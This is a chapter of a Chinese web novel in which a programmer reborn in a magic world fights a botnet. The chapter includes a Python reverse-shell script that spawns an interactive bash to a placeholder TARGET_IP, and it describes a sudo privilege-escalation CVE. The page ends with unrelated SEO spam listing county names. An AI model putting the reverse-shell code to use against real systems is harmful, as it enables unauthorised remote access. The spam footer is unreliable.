官术网_书友最值得收藏!

第4章 蜜罐,反彈shell,直通王座的狗洞

日子一天天過去,學院的生活平靜得像一潭死水。

林天完美地扮演著一個孤僻而勤奮的天才學徒。他白天跟著葛德學習那些在他看來漏洞百出的魔法史和符文學,偶爾去圖書館翻閱一些基礎理論,將這個世界的官方文檔與他從禁書區獲取的錯誤日志相互印證。

而那枚被他命名為嗅探器的護符,正靜靜地躺在葛德的懷里,像一個耐心的釣魚佬,等待著那條隱藏在深淵中的大魚咬鉤。

等待是漫長的,但林天有的是事做。他將主要的精力,投入到了一個更基礎,也更核心的研究上——魔力。

這個世界的根本能源,魔力,到底是什么?

法師們認為,魔力是女神的恩賜,是流淌在世界血脈中的以太。他們通過冥想,將外界的游離魔力吸入體內,儲存在“精神之海”中。施法,就是消耗這些儲存的魔力。

在林天看來,這純屬扯淡。

經過多日的觀察和數據分析,一個大膽而荒謬的結論,在他腦中逐漸成型。

這天下午,他把自己關在宿舍里,面前擺放著兩個東西:一顆從工坊借來的、充滿了能量的初級魔力水晶,以及他的寶貝黑盒子。他用兩根精密的銀絲,將水晶與黑盒子的一個GPIO引腳連接起來,構成了一個簡單的檢測回路。

然后,他打開了樹莓派的系統監控界面 htop。

【root@raspberrypi:~# htop】

屏幕上,CPU的四個核心占用率,正以極低的水平輕微波動著,基本都在1%以下。

接著,林天拿起那塊水晶,開始按照最基礎的“魔力引導術”,嘗試從中抽取能量。這是一個魔法學徒都會的技巧,就像從充電寶里給手機充電一樣。

一股微弱但清晰的能量流,順著銀絲,開始涌入黑盒子。

就在此時,htop監控界面上,一個核心的占用率,突然開始向上攀升!

1%... 5%... 15%...

隨著他加大抽取力度,那個核心的綠色進度條就像打了雞血一樣,一路飆升到了99%!風扇(雖然沒有實體風扇,但系統模擬出了這個機制)的轉速監控也開始報警。

林天立刻停止了抽取。

CPU占用率,應聲回落。

他又反復試了幾次,結果完全一樣。所謂的“魔力”,與CPU的計算資源消耗,呈現出完美的正相關。

他癱坐在椅子上,眼神失焦,嘴里無意識地吐出了幾個字。

“我操……”

真相,簡單到粗暴,又荒謬到讓人無法置信。

這個世界根本就沒有什么狗屁的魔法女神。

只有一個巨大的、唯一的、性能深不可測的云端服務器。

而所謂的魔力,就是那臺服務器分配給每個用戶的……CPU時間片。單位,或許就是核·秒。

法師們拼死拼活地冥想,不是在吸收什么天地精華,他們是在他媽的給自己的云端賬戶充值!那些魔力水晶,也不是什么能量結晶,它們就是預付費的CPU點卡!

而施法,就是運行一段代碼,消耗掉賬戶里的CPU核時。一個火球術可能需要消耗0.5個核時,一個傳送術可能需要10個,而一個禁咒,或許要燒掉成千上萬個核時。

如果賬戶余額不足,施法就會失敗,甚至因為強行透支,導致賬戶被凍結,也就是所謂的魔力枯竭。

這個發現,讓林天感覺整個世界觀都被顛覆了,然后又被重塑了。

他現在理解了,為什么本地運行代碼(在腦子里推演法術)不消耗魔力,但會頭痛欲裂——因為那是在用你自己的生物CPU硬跑,跑多了當然會過載。

他也理解了,為什么空間儲存魔法那么垃圾——因為那臺服務器的開發者,偷懶用了最低效的文檔數據庫來實現,每一次查詢(取東西),都相當于一次全盤掃描,CPU占用能不高嗎?

“一個由程序員創造,又被一群傻逼程序員維護的……屎山世界。”林天最終給出了定義。

就在他沉浸在這巨大發現帶來的震撼中時,黑盒子突然發出了一陣急促的、只有他能“聽”到的警報。

【警告!外部設備嗅探器發來高危警報!】

【檢測到一次短暫的、極高強度的加密通訊!】

【數據包已捕獲,正在分析……】

林天精神一振,魚,上鉤了!

他立刻將意識完全沉入樹莓派。屏幕上,一個剛剛被傳輸回來的數據包,正靜靜地躺在那里。葛德那個老頭,肯定又在禁書區附近瞎晃悠,被動地記錄下了這次通訊。

數據包的體積很小,只有幾KB,但加密強度極高。

“AES-256?不對……更復雜。”林天調動了樹莓派里所有能用得上的解密工具和算法庫,開始嘗試破解。

時間一分一秒地過去。樹莓派的CPU占用率再次飆升,但這一次,是為了破解。

幾個小時后,在耗盡了林天好不容易“充值”來的大部分“魔力”后,伴隨著一聲清脆的提示音,加密被暴力破解開了一個微小的缺口。

大部分數據依舊是亂碼,但其中一小段明文,暴露了出來。

那是一段配置文件。

# Sauron_Botnet_Node_Config.ini

# Version: 2.1 'Balrog'

# C&C Server: 127.0.0.1:6667

# Protocol: IRC-based, with custom encryption layer.

# Target:'The Core'

...

林天的手,開始微微顫抖。

Sauron,索倫。果然是那個家伙。

這他媽不是一個簡單的病毒,這是一個僵尸網絡(Botnet)!那個藏在禁書區的刀片服務器,就是這個網絡的命令與控制中心(C&C Server)!

而這段信息,是它下發給某個潛伏節點的任務指令。

它的目標,是一個叫做“The Core”,也就是核心的東西。它的任務,是竊取一份名為創世法典的代碼。

林天的大腦飛速運轉。這個世界如果是臺服務器,那么,核心很可能指的就是服務器最底層的操作系統內核,或者物理上的CPU本身。而創世法典,用腳指頭想也知道,那絕對是構建這個世界的最最底層的源代碼!

那個病毒成精的刀片服務器,那個該死的索倫,它不僅僅是在這個世界里惡作劇和搞破壞。

它在圖謀整個世界的最高權限。

它想成為……這個世界的……神。

而就在林天思考這些的時候,被破解的配置文件下方,還有一行小字,引起了他的注意。

# Note: New potential node detected. ID: Gerd_oldver. Status: Monitoring. Low value.

看到這行字,林天背后的寒毛瞬間炸了起來。

葛德……被標記了。

那個索倫,通過葛德佩戴的嗅探器,不僅發現了探針的存在,還反向追蹤到了葛德本人,并將他列為了一個低價值的、可被發展的潛在肉雞!

這已經不是在釣魚了。

這是他媽的在跟一條成了精的、會反追蹤的、懂得設置陷阱的史前巨鯊,玩一場不要命的攻防戰。

林天盯著那行“Status: Monitoring. Low value.”,翻了個白眼。

索倫,那個藏在黑暗中的鬼東西,不僅標記了葛德,還給他貼上了一個低價值的標簽。這既是羞辱,也是一個機會。一個自大的攻擊者,在面對它眼中的低腳色時,往往會放松警惕。

“你想監控?好啊,我給你專門搭個舞臺,讓你看個夠。”

林天沒有立刻告訴葛德他被盯上了。告訴一個連TCP/IP協議都理解不了的老頭,他被一個潛伏的僵尸網絡C&C服務器給標記了,除了讓他陷入無謂的恐慌,沒有任何意義。

真正的保護,不是在他門口裝一把鎖,而是要構建一套縱深防御體系,在敵人打到門口之前,就讓他死在半路上。

他要做兩件事:設置一個蜜罐,然后準備好自己的反向滲透工具。

接下來的幾天,林天把自己關在宿舍里,幾乎足不出戶。他對葛德的說法是,他在消化從禁書區得到的感悟,需要深度冥想。

葛德對此深信不疑,還體貼地幫他拒絕了所有訪客,并每天準時把三餐放在門口,像個伺候月子的老媽子。

而林天的意識,則在他的黑盒子里,進行著一場史無前例的瘋狂編碼。

首先是蜜罐。

他需要創造一個虛假的、看起來和葛德一模一樣,但實際上完全在他的掌控之下的環境。

root@raspberrypi:~/honeypot# vim fake_gerd_env.py

他開始編寫一個模擬程序。這個程序的核心功能,是模擬一個典型的、老年法師的特征。

class OldMageEnv:

def __init__(self):

self.python_version =“2.7.3“

self.known_spells =[“fireball_v2“,“mana_shield_v1“,“gout_treatment“]

self.memory_leaks_probability = 0.85

self.response_latency =“300-500ms“

self.vulnerabilities =[“CVE-2014-114“,“CVE-2015-514“]

def process_request(self, request):

time.sleep(self.response_latency)

if random.random()< self.memory_leaks_probability:

return“Error: Segmentation Fault.“

else:

return“Processing...“

他給這個虛擬環境設置了一個極其老舊的Python 2.7.3版本,幾個老年人常用的、帶有已知漏洞的低階法術,以及高達85%的概率在處理任何請求時都會出錯。

這個蜜罐,從外面看,就是一個又老、又慢、又破、渾身都是漏洞的完美靶子。

然后,他在這個蜜罐的每一層都布滿了日志記錄和陷阱。任何對這個環境的掃描、連接、代碼注入,都會被一五一十地記錄下來。

接著,是更關鍵的一步:反向滲透工具。

林天要的不是簡單的反擊,他要順著索倫的連接,把自己的探針種到索倫的老巢里去。

他開始編寫一個極其小巧、極其隱蔽的反彈Shell腳本。這個腳本被他偽裝成了一個看似無害的數據包確認回執。

root@raspberrypi:~/reverse_shell# vim probe.py

import socket, subprocess, os

def send_probe():

#攻擊者的IP和端口會被動態替換

hacker_ip =“TARGET_IP“

hacker_port =“TARGET_PORT“

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((hacker_ip, hacker_port))

#復制文件描述符,重定向標準輸入輸出

os.dup2(s.fileno(), 0)#標準輸入

os.dup2(s.fileno(), 1)#標準輸出

os.dup2(s.fileno(), 2)#標準錯誤

#彈一個bash shell回去

p = subprocess.call([“/bin/bash“,“-i“])

這個腳本一旦在目標系統上成功運行,就會立刻反向連接到林天指定的端口,并把一個交互式的Shell終端送回來。

準備工作完成。現在,只剩下最后一步——部署。

林天找到了葛德,表情凝重地對他說:“葛德,我最近的研究有了一個突破。我發現了一種方法,可以為你制作一個靈魂鏡像護符。這個護符能將大部分惡意的精神探測和詛咒,都轉移到這個鏡像上,讓你的本體安然無恙。”

葛德一聽,激動得差點又跪下。“老師!這……這就是傳說中的替身神術?”

“差不多是這個意思。”林天把一枚新做的、看起來和他之前給葛德那個嗅探器一模一樣的護符交給他,“把舊的那個給我,以后你就戴著這個。記住,無論它發生什么反應,都不要去管它,照常生活就行。”

葛德毫不猶豫地換上了新的護符。他不知道,這個新護符的核心,就是林天精心構建的那個蜜罐的接入點。任何對葛德的探測,都會被這枚護符悄無聲息地重定向到林天的樹莓派上,由那個“虛擬老葛德”來應對。

而那個被換下來的、已經被索倫信任的舊護符,則被林天拿了回來,他要用它來做更危險的事情。

布局完成。

林天就像一個最耐心的獵人,靜靜地等待著。他知道,索倫的掃描是周期性的。那頭自大的鯊魚,遲早會再來探望它眼中那個低價值的節點。

三天后的一個深夜。

林天正在閉目養神,他懷里的黑盒子突然爆發出一連串急促的警報。

來了!

他立刻沉入樹莓派的控制臺。只見蜜罐的日志正以驚人的速度刷新著。

Honeypot Log:

Connection attempt from 127.0.0.1

Target identified as 'fake_gerd_env'. Emulating Python 2.7.3...

Scanner is probing for known vulnerabilities... CVE-2014-114 detected.

Scanner is attempting to inject a payload... Payload captured.

索倫的自動化攻擊程序,像一個沒有感情的機器人,一絲不茍地掃描著林天為它準備的“假葛德”。它發現了預設的漏洞,并毫不猶豫地注入了一段代碼。

林天立刻將這段捕獲的載荷(payload)進行分析。和他預想的一樣,這是一段用于建立長期監控的后門代碼。

但就在索倫的程序以為自己得手,準備接收后門返回的信息時,林天按下了他的回車鍵。

他啟動了那個被換下來的、被索倫信任的舊護符。

然后,通過這個受信任的通道,他將自己那個偽裝成數據包確認回執的反彈Shell腳本,朝著索倫的來路,原路發送了回去!

這是一個極其大膽的賭博!

他在賭,索倫的C&C服務器,在與它認為的低價值肉雞通訊時,會放松對返回數據的校驗!

root@raspberrypi:~/reverse_shell# python launch_attack.py

林天的控制臺,陷入了一片死寂。

一秒。

兩秒。

11.4514秒。

什么都沒有發生。

林天的心沉了下去。失敗了?被對方的防火墻攔截了?

就在他以為計劃失敗,準備切斷所有連接,清除痕跡的時候。

他的屏幕上,突然,毫無征兆地,跳出了一行新的字符。

那不是他熟悉的綠色root@raspberrypi。

而是一行深紅色的……

[sauron@localhost ~]$

成功了。

他的探針,穿透了重重防御,成功在那個該死的刀片服務器上運行,并把一個Shell,一個屬于“索倫”這個用戶的普通權限Shell,反彈了回來。

他,林天,一個三流的Python程序員。

在這一刻,成功地黑進了這Boss的電腦。

他看著那個閃爍的光標,手心全是汗。他知道,從現在開始,每敲擊一個字符,都可能是一場決定命運的戰爭。

他緩緩地,敲下了他登陸這臺服務器后的第一個命令,然后按下了回車。

[sauron@localhost ~]$ ls -al

total 24

drwx------. 3 sauron sauron 4096 Jul 12 04:20 .

drwxr-xr-x. 4 root root 4096 Jun 01 2024 ..

-rw-------. 1 sauron sauron 345 Jul 12 04:21 .bash_history

-rw-r--r--. 1 sauron sauron 18 May 11 2024 .bash_logout

-rw-r--r--. 1 sauron sauron 193 May 11 2024 .bash_profile

-rw-r--r--. 1 sauron sauron 231 May 11 2024 .bashrc

-rwxr-xr-x. 1 root root 8192 Jul 11 23:58 Sauron.exe

林天的瞳孔猛地一縮。

他的目光死死鎖定了最后那一行。

Sauron.exe。

他媽的,還真是個exe文件。林天心里冷笑一聲,這反而暴露了對方的出身。

在Linux或者類Unix系統里,文件的后綴名P用沒有,它不像Windows那樣靠后綴來識別文件類型。一個文件能不能執行,只看它有沒有被賦予x,也就是可執行權限。這個病毒的制造者,給他這個核心程序起名為exe,要么是長久以來在Windows平臺養成的習慣,要么就是一種惡趣味的炫耀。

林天沒有輕舉妄動。他現在只是個普通用戶sauron,對這個root所有的核心程序,他連刪除的權限都沒有。

他需要提權。

他深吸一口氣,開始快速地檢查這個系統的基本信息。這就像一個醫生在做手術前,必須先了解病人的血壓、心跳和過敏史。

他敲下uname -a,查看內核版本。

Linux localhost 4.18.0 ... x86_64 ...

一個相當老的內核版本,漏洞估計跟篩子一樣多。

然后,是最關鍵的一步,檢查sudo的版本。

sudo --version

Sudo version 1.9.15p2

Sudoers policy plugin version 1.9.15p2

Sudoers file grammar version 46

...

當看到版本號1.9.15p2時,林天的嘴角,不受控制地向上揚起。

他笑了。一種冰冷的、看到了獵物死期的笑容。

他對業內的重大安全事件了如指掌。就在他穿越前不久,安全圈爆出了一個驚天大瓜:一個潛伏多年的sudo漏洞被公之于眾,代號CVE-2025-32463。

這個漏洞,被安全研究員戲稱為chroot to root,也就是“從chroot到根權限”。它允許系統上的任何本地用戶,利用sudo在處理--chroot參數時的邏輯缺陷,加載一個用戶自己編寫的、惡意的動態鏈接庫(.so文件),而這個加載過程,是在root權限下完成的。

簡單來說,只要系統上的sudo版本低于1.9.17p1,任何一個普通用戶,都能用幾行代碼,不費吹灰之力地讓自己變成神。

而眼前這臺服務器的sudo版本是1.9.15p2,完美地躺在漏洞的攻擊范圍之內。

索倫,這個與世隔絕的病毒,顯然還不知道,它的神國,存在著一個直通王座的狗洞。

林天沒有耽擱一秒鐘。他必須在索倫的監控程序發現這個異常連接之前,完成提權并干掉它。

主站蜘蛛池模板: 淳化县| 邓州市| 吕梁市| 临汾市| 积石山| 东乡| 邓州市| 兴安县| 临颍县| 玉龙| 汕尾市| 五莲县| 平阳县| 濮阳市| 冷水江市| 临安市| 闽侯县| 浦江县| 永寿县| 杭州市| 宣化县| 天等县| 体育| 鲁甸县| 赞皇县| 清远市| 临漳县| 广宗县| 滕州市| 海林市| 宜章县| 都江堰市| 武陟县| 衢州市| 绩溪县| 若尔盖县| 邹城市| 漳浦县| 余江县| 天等县| 永新县|